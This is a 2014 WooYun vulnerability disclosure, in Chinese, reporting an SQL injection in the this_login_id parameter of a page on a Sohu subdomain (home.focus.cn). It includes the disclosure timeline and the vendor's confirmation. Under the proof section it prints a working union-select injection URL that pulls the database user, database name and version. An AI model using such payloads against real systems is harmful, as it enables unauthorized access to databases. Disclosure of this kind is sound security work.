[公开漏洞]搜狐某站二级域名下一处sql注入
-
来源:WooYun 浏览:657次 时间:2014-07-05
搜狐某站二级域名下一处sql注入
相关厂商:
搜狐
漏洞作者:xlz0iza1
提交时间:2014-05-20 14:52
公开时间:2014-07-04 14:53
漏洞类型:SQL注射漏洞
危害等级:中
自评Rank:20
漏洞状态:
厂商已经确认
漏洞来源:http://www.wooyun.org
Tags标签:
无
漏洞详情
披露状态:
2014-05-20:细节已通知厂商并且等待厂商处理中
2014-05-20:厂商已经确认,细节仅向厂商公开
2014-05-30:细节向核心白帽子及相关领域专家公开
2014-06-09:细节向普通白帽子公开
2014-06-19:细节向实习白帽子公开
2014-07-04:细节向公众公开
RT
详细说明:我是来刷洞洞~
Url:http://home.focus.cn/zxrj/account.php?this_login_id=54544875
this_login_id参数过滤不严,直接带入查询。
检测长度
漏洞证明:
手工查询:
http://home.focus.cn/zxrj/account.php?this_login_id=54544875 and 1=2 union select 1,2,user(),database(),version(),6
修复方案:
过滤~
版权声明:转载请注明来源 xlz0iza1@乌云 漏洞回应 厂商回应:危害等级:中
漏洞Rank:10
确认时间:2014-05-20 15:03
厂商回复:感谢支持。
最新状态:暂无
上一篇: [公开漏洞]途牛旅游网会员中心存储XSS
下一篇: [公开漏洞]大众点评网主站sql注入漏洞